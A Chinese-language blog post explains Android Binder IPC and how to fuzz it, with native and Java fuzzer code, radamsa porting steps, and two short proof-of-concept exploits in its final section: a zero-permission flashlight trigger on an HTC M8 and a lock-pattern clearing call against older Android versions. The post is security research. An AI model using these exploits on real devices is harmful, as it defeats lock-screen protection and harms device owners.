Android Binder Fuzzing 的一些思路

1. binder 简介

Android安全模型的一个关键部分是每一个应用程序都被赋予一个唯一的 Linux 用户 ID 和组 ID,运行在自己的进程和 Dalvik 虚拟机里。
在应用程序安装的过程中,Android系统设备上创建一个专门的目录(文件夹),用于存储此应用程序的数据,并且仅允许应用程序利用
Linux 用户 ID 和组 ID 的相应访问权限对这些数据进行访问。此外,此应用程序的 Dalvik 虚拟机使用应用程序的用户 ID 运行在自己的进程中。
这些关键的机制在操作系统层面上强制数据安全,因为应用程序之间不共享内存、访问权限及磁盘存储。应用程序只能在它们自己的 Dalvik 虚拟机范围内访问内存和数据。

$ ps
...

u0_a16        2757   882 2574956 116944 SyS_epoll+          0 S com.google.android.gms.persistent
u0_a128       2774   883 1939084  87720 SyS_epoll+          0 S com.ss.android.article.news:push
u0_a16        2850   882 2322980  46592 SyS_epoll+          0 S com.google.process.gapps
u0_a128       2887   883 2190568 181868 SyS_epoll+          0 S com.ss.android.article.news
u0_a37        2900   882 2430908  58316 SyS_epoll+          0 S com.google.android.googlequicksearchbox:interactor
nfc           2918   882 2351828  62356 SyS_epoll+          0 S com.android.nfc
u0_a45        2930   882 2309884  43576 SyS_epoll+          0 S se.dirac.acs
radio         2945   882 2313144  45592 SyS_epoll+          0 S net.oneplus.push
u0_a0         2956   882 2304600  36360 SyS_epoll+          0 S com.oneplus
system        2967   882 2307276  38088 SyS_epoll+          0 S com.fingerprints.serviceext
system        2985   882 2309992  42044 SyS_epoll+          0 S com.oneplus.opbugreportlite
u0_a142       2997   882 2370296  93324 SyS_epoll+          0 S com.oneplus.aod
u0_a16        3018   882 2731976 165828 SyS_epoll+          0 S com.google.android.gms
...

Android app 是由 Activity、Service、Broadcast 和 Content Provider 四大组件构成,而这些组件可能运行在同一进程中,也可能运行在不同的
进程中,而像 PowerManagerService等重要服务都运行在核心进程 system_server 里,所以 Android 系统必须实现一个靠谱的进程间通信机制 (IPC)。
Android系统基于 Linux 开发,Linux 中有很多进程间通信的方法,如 Signal、Pipe、Socket、Share Memeory、Semaphore, 但是 Android 系统并没有使用
这些进程间通信的方法,而是基于 OpenBinder 自己开发了一套进程通信的方法,Binder 是 Android 系统 IPC 通信的机制。

$ adb shell ps | grep system_server
system 63 32 120160 35408 ffffffff afd0c738 S system_server

$ adb logcat | grep "63)"
...
D/PowerManagerService( 63): bootCompleted
I/TelephonyRegistry( 63): notifyServiceState: 0 home Android Android 310260 UMTS CSS not supp...
I/TelephonyRegistry( 63): notifyDataConnection: state=0 isDataConnectivityPossible=false reason=null
interfaceName=null networkType=3
I/SearchManagerService( 63): Building list of searchable activities
I/WifiService( 63): WifiService trying to setNumAllowed to 11 with persist set to true
I/ActivityManager( 63): Config changed: { scale=1.0 imsi=310/260 loc=en_US touch=3 keys=2/1/2 nav=3/1 ...
I/TelephonyRegistry( 63): notifyMessageWaitingChanged: false
I/TelephonyRegistry( 63): notifyCallForwardingChanged: false
I/TelephonyRegistry( 63): notifyDataConnection: state=1 isDataConnectivityPossible=true reason=simL...
I/TelephonyRegistry( 63): notifyDataConnection: state=2 isDataConnectivityPossible=true reason=simL...
D/Tethering( 63): MasterInitialState.processMessage what=3
I/ActivityManager( 63): Start proc android.process.media for broadcast
com.android.providers.downloads/.DownloadReceiver: pid=223 uid=10002 gids={1015, 2001, 3003}
I/RecoverySystem( 63): No recovery log file
W/WindowManager( 63): App freeze timeout expired.

binder

2. Binder 架构

Binder 使用 CS (Client/Server) 模型,提供服务的进程是 Server 进程,访问服务的是 Client 进程。从代码实现的角度看,Binder架构采用的是分层架构设计,
大致上可以分为 Java 层, Java IPC 层,Native IPC 层, Linux 内核层。

1

从组件的视角来看,Binder 包含了 Client、Server、ServiceManger 和 binder 驱动, ServiceManager 用于管理系统中的各种服务,见下图。

2

图中虚线的箭头为跨进程的进程间通信,必须使用 Android IPC binder 机制。

3. 为什么要 fuzz binder

把 Binder 作为一个目标的原因比较明显的,因为在 Android 的安全模型中,Binder 是一个重要的安全边界。在一个低权限
的 app 里面构造的数据,会在高权限的进程里面使用,如果发生问题,就是一个明显的权限提升漏洞。另外数据在处理的过程中,
有 flatten 和 unflatten 两个步骤,这些步骤就像我们平时说的编码和解码一样非常容易出问题。

weakness

存在一些非常经典的漏洞, 例如 CVE-2014-7911 该漏洞允许恶意应用从普通应用权限提权到system用户执行命令。

4. 实现

在每个层面都可以实现相关代码进行 Fuzz, 下面分析在每个层面的具体实现。

4.1 直接调用 ioctl

实现 Binder fuzzer 的方法有好几种,最直接的想法当然就是直接调用 ioctl 系统调用。

ioctl

其中 fd 可以通过打开 /dev/binder 设备文件获得,难点在 binder_write_read 数据结构的构造。

int fd = open("/dev/binder", O_RDWR);

4.2 Native 层

在 Native 层,利用 IBinder 可以将问题简化, 看上面的结构图,通过阅读 Android 源码, 可以看出我们可以利用 IBinder
的 transcat 来调用相应的Binder 接口函数,参考:

https://android.googlesource.com/platform/frameworks/native/+/master/cmds/service/service.cpp

调用 IBinder 的 transact 需要自己填充 parcel 数据, 可以从下面的示意理解大致的含义:

5

code 为 Binder 调用接口的功能号, parcel 中需要指定调用那个接口。

String16 get_interface_name(sp<IBinder> service)
{
    if (service != NULL) {
        Parcel data, reply;
        status_t err = service->transact(IBinder::INTERFACE_TRANSACTION, data, &reply);
        if (err == NO_ERROR) {
            return reply.readString16();
        }
    }
    return String16();
}

int main(int argc, char** argv).
{
    sp<IServiceManager> sm = defaultServiceManager();
    Vector<String16> services = sm->listServices();

    for (uint32_t i = 0; i < services.size(); i++) {
        String16 name = services[i];
        sp<IBinder> service = sm->checkService(name);
        String16 ifName = get_interface_name(service);
        if (service != NULL && ifName.size() > 0) {

            for (uint32_t code = 0; code <= 100; code++) {
                aout << "ifName: " << ifName << ", code: " << code << endl;

                Parcel data, reply;
                data.writeInterfaceToken(ifName);
                for (uint32_t i = 0; i < random() % 800; i++ ) {
                    uint32_t a = random();
                    aout << "data[" << i << "]: " << a << endl;
                    data.writeInt32(a);
                }
                service->transact(code, data, &reply, 1);
            }
        }
    }
    return 0;
}

4.3 Java 应用层

到了 Java 应用层,我们可以获得的信息就丰富了,可以获得详细的信息。

1) 获取所有运行的services

public String[] getServices() {
    String[] services = null;
    try {
        services = (String[]) Class.forName("android.os.ServiceManager")
                .getDeclaredMethod("listServices").invoke(null);
    } catch (ClassCastException e) {
    } catch (ClassNotFoundException e) {
    } catch (NoSuchMethodException e) {
    } catch (InvocationTargetException e) {
    } catch (IllegalAccessException e) {
    }

    return services;
}

2) 获得对应服务的IBinder 对象

public IBinder getIBinder(String service) {
    IBinder serviceBinder = null;
    try {
        serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
                .getDeclaredMethod("getService", String.class).invoke(null, service);
    } catch (ClassCastException e) {
    } catch (ClassNotFoundException e) {
    } catch (NoSuchMethodException e) {
    } catch (InvocationTargetException e) {
    } catch (IllegalAccessException e) {
    }

    return serviceBinder;
}

3) 利用反射获取对应接口的所有code

public HashMap<String,Integer> getBinderCode(String interfaceDescriptor) {
    HashMap<String, Integer> codes = new HashMap<>();

    if (interfaceDescriptor == null)
        return codes;

    try {
        Class<?> cStub = Class
                .forName(interfaceDescriptor + "$Stub");
        Field[] f = cStub.getDeclaredFields();
        for (Field field : f) {
            field.setAccessible(true);
            String k= field.toString().split("\\$Stub\\.")[1];
            if (k.contains("TRANSACTION"))
                codes.put(k, (int)field.get(this));
        }
    } catch (Exception e) {
    }

    return codes;
}

4) 利用反射获取对应接口所有调用的参数类型

binder call 的参数类型

public HashMap<String, List<String>>
    getBinderCallParameter(String interfaceDescriptor,
                           HashMap<String, Integer> codes) {
    HashMap<String, List<String>> ret = new HashMap();

    if (interfaceDescriptor == null)
        return ret;

    try {
        Class<?> cStub = Class
                .forName(interfaceDescriptor + "$Stub$Proxy");
        Method[] m = cStub.getDeclaredMethods();

        for (Method method : m) {
            int func_code = 0;
            List<String> func_parameter = new ArrayList<>();

            method.setAccessible(true);
            String func_name = method.toString().split("\\$Stub\\$Proxy\\.")[1];
            func_parameter.add(func_name);

            for (String key : codes.keySet()) {
                if (func_name.contains(key.substring("TRANSACTION_".length())))
                    func_code = codes.get(key);
            }

            if (func_code == 0)
                continue;

            Class<?>[] ParameterTypes = method.getParameterTypes();
            for (int k=0; k < ParameterTypes.length; k++) {
                func_parameter.add(ParameterTypes[k].toString());
            }

            ret.put(Integer.toString(func_code), func_parameter);
        }
    } catch (Exception e) {
    }

    return ret;
}

5)Binder 调用

public static IBinder getIBinder(String service) {
    IBinder serviceBinder = null;
    try {
        serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
                .getDeclaredMethod("getService", String.class).invoke(null, service);
    } catch (ClassCastException e) {
    } catch (ClassNotFoundException e) {
    } catch (NoSuchMethodException e) {
    } catch (InvocationTargetException e) {
    } catch (IllegalAccessException e) {
    }

    return serviceBinder;
}
public void fuzz (int code, String Service) {
    Parcel data = Parcel.obtain();
    Parcel reply = Parcel.obtain();

    IBinder serviceBinder = BinderInfo.getIBinder(service);
    serviceBinder.transact(code, data, reply, 0);
}

上面的几个步骤已经全部java 代码实现,可行。

5. 实现方法的分析于比较

ioctl 的方法过于底层,需要实现的代码很多,而 java 应用层的代码由于权限原因,经常会遇到没有权限的情况。
所以使用 Native 层的方法是合适的,在Root 的Android 机器上运行代码,可以解决权限问题。而 Java 应用层的
代码利用反射可以获取到每个接口的详细信息,根据获取到的信息指导 Native 层 fuzz 程序的后续变异,应该是比较理想的方法。

6. Fuzz 数据的生成

可以考虑移植 radasma 到 Android 平台

$ git clone https://github.com/anestisb/radamsa-android.git
$ cd radamsa-android
$ export PATH=$PATH:NDK_PATH
$ ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./jni/Android.mk \
    APP_PLATFORM=android-24 APP_ABI=armeabi-v7a \
    NDK_TOOLCHAIN=arm-linux-androideabi-4.9


[armeabi-v7a] Compile thumb  : radamsa <= radamsa.c
[armeabi-v7a] Executable     : radamsa
[armeabi-v7a] Install        : radamsa => libs/armeabi-v7a/radamsa

6.1 更新 radamsa-android

github 上移植的radamsa 已经比较古老 (0.4), 可以直接将最新版(0.6a)的radamsa 移植
到 Android上。方法比较简单,在原始的 radamsa 中有一个 radamsa.c 将这个文件替换
radamsa-android/jni 目录下的 radamsa.c

然后在文件中添加下面代码, 重新编译即可:

#ifdef ANDROID
#include <arpa/inet.h>
#ifndef WIFCONTINUED
#define WIFCONTINUED(stat) 0
#endif
#endif

7. Fuzz 出来的一些漏洞

1) htc m8 零权限打开闪光灯

IBinder serviceBinder = getIBinder("media.camera");

Parcel data1 = Parcel.obtain();
Parcel reply1 = Parcel.obtain();

try {
    data1.writeInterfaceToken(serviceBinder.getInterfaceDescriptor());
    data1.writeByteArray(new byte[1024]);
    serviceBinder.transact(8, data1, reply1, 0);
} catch (Exception e) {}

2) Android 6.0.1 MOB3OM 手势密码清除漏洞


public void attack() {
	IBinder serviceBinder = getIBinder("lock_settings");

	Parcel data1 = Parcel.obtain();
	Parcel reply1 = Parcel.obtain();

	try {
		data1.writeInterfaceToken(serviceBinder.getInterfaceDescriptor());
		data1.writeByteArray(new byte[255]);
		serviceBinder.transact(7, data1, reply1, 0);
	} catch (RemoteException e) {}
}

public IBinder getIBinder(String service) {
	IBinder serviceBinder = null;
	try {
		serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
				.getDeclaredMethod("getService", String.class).invoke(null, service);
	} catch (ClassCastException e) {
	} catch (ClassNotFoundException e) {
	} catch (NoSuchMethodException e) {
	} catch (InvocationTargetException e) {
	} catch (IllegalAccessException e) {
	}

	return serviceBinder;
}

在Android 6.0.1 MOB3OM 之前的一些版本中, 未在setLockPattern 中做权限检查,
导致apk 不需要任何权限就可以将手势密码清除.

这个问题已经修复 author Jim Miller jaggies@google.com Wed Apr 13 16:35:36 2016 -0700

https://android.googlesource.com/platform/frameworks/base/+/b5383455b6cae093e60684b4f5cccb0cc440330d%5E%21/#F0

但是考虑到Android 的碎片化问题, 估计在一些手机中将存在这个问题.

参考资料


Android Binder Fuzzing 的一些思路
https://usmacd.com/cn/Android_binder_fuzzing/
作者
henices
发布于
2023年9月6日
许可协议